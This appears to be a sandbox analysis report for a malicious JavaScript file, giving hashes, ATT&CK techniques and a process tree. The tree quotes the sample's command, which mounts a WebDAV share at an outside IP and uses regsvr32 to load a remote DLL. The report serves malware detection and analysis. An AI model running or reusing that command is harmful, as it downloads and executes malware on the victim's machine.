a0ded1eb9f4f4dd673a159e5c5987e3b7a97d4e40360ff2b588000e742a38671

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
23/07/2024, 03:04

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

70912493641126109.js
Size

3KB
MD5

cf8c858452dd0d6c5651c57428c4a3bd
SHA1

bf3cd91281d857a7d2f45df88cb9361b774e2974
SHA256

64efbf26c04dc9a9c7357543498729c4b48d0c1d4e4bbde7332e1662de1e2f2f
SHA512

11a86d448530fe1e568c0bc7cc38de5b65b463fa1d2fcec37af094b2b41fbef83d7312cb43a040ec06cd5c042c0953f53da5a29998232487647ca84237301248

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2532 wrote to memory of 2972	2532	wscript.exe	30
PID 2532 wrote to memory of 2972	2532	wscript.exe	30
PID 2532 wrote to memory of 2972	2532	wscript.exe	30
PID 2972 wrote to memory of 3040	2972	cmd.exe	32
PID 2972 wrote to memory of 3040	2972	cmd.exe	32
PID 2972 wrote to memory of 3040	2972	cmd.exe	32

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\70912493641126109.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\249261543718728.dll
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2972
- - C:\Windows\system32\net.exe
    net use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:3040

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads